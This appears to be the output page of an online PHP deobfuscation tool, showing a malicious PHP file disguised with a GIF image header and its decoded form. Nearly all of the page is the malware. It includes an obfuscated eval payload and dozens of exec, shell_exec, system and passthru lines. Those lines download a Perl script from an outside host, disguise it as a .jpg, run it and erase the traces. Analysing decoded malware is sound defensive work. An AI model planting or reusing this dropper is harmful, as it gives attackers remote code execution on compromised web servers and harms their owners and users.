Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89a???????????!??????,???????D?;?<? set_time_limit(0); error_reporting(0); $rhs = '1..

Decoded Output download

if(function_exists('exec')){
@exec('wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('rm -rf index.php.*');
@exec('cd /tmp;rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@exec('cd /tmp;rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg.*');
@exec('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg.*');
}
elseif(function_exists('shell_exec')){
@shell_exec('wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;rm -rf index.php.*');
@shell_exec('cd /tmp;rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@shell_exec('cd /tmp;rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg.*');
@shell_exec('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg.*');
}
elseif(function_exists('system')){
@system('wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /var/tmp;rm -rf index.php.*');
@system('cd /tmp;rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@system('cd /tmp;rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg.*');

}
elseif(function_exists('passthru')){
@passthru('wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('cd /tmp;wget http://widhis.webs.com/kan.log -O 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('cd /tmp;curl http://widhis.webs.com/kan.log -o 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('cd /tmp;lwp-download -a http://widhis.webs.com/kan.log 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('cd /tmp;lynx -source http://widhis.webs.com/kan.log > 9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('cd /tmp;fetch -o 9b5bafeb256e77e48f67299bc5d045bf.jpg http://widhis.webs.com/kan.log;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('cd /tmp;GET http://widhis.webs.com/kan.log>9b5bafeb256e77e48f67299bc5d045bf.jpg;perl 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('rm -rf index.php.*');
@passthru('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg');
@passthru('rm -rf 9b5bafeb256e77e48f67299bc5d045bf.jpg.*');
}
else{}

Did this file decode correctly?

Original Code

GIF89a???????????!??????,???????D?;?<?
set_time_limit(0);
error_reporting(0);
$rhs = '1ZfLYYJAFIb3Jr4DO7QJ0BjRTRPTWtNyN90bLoPQZZkwUMEY372XgIxAUbDknO6AzOiHme//j54zZJLQ4l4UYVbmMc4mMsmIJUKnh/Ho6edlIqc7wiWXZvqodql0ux5GRm8y1YoC7cMISD/aVsqrtDJo02OIOdMXcbkk8wd0sZytSaal2/dm3WfUarpbRhL7Sq2Up+sTgJV8YncDiAYE8Eaq2EQa+pFuWIrRxjIgyD7MJIVSVnmRNorNgBwO4ZZ77WLeAtqP4OX5reVmN8O9fhxVV+xnP8e2pPGAruGFyk7AxSpA0AhpAk8iTcEDL1xOgk48L7RWpkWXqmpaiD31vNHqDtvPsbtiPI5UxHTEeHVi5hLf3wodXj4AemURAzBpUQwEoWaGAx45Ig1x4IgcQGQjImfOhbOzDt/5WjhVFFHU/41LqJTEMAs08SBDtNLBtfngwk3AWegxMfRxuG9h2DNBgm9z+L2BnRdlBMigyhEwhEaBAh9VOQl1COUMQ8GTf333DCjONIKZoIKCQDNZs0AVCY1pKHOACst/1vDTiC8PDpVqvdn57qV9sbapwRhq4yQv7uIWtLpYCMBHKSEQ5IkAA54kJQtxhpQUQOlEAmdJTTjf8FJeh04hHaIyYoBPJCGGT6/TYJGy1sd/onrvP86H4xc=';
eval(gzinflate(str_rot13(base64_decode($rhs))));
?>

Function Calls

exec 1
gzinflate 1
str_rot13 1
base64_decode 1
set_time_limit 1
error_reporting 1
function_exists 1

Variables

$rhs 1ZfLYYJAFIb3Jr4DO7QJ0BjRTRPTWtNyN90bLoPQZZkwUMEY372XgIxAUbDk..

Stats

MD5 3f120263b044dc74776814a5139b6eec
Eval Count 1
Decode Time 118 ms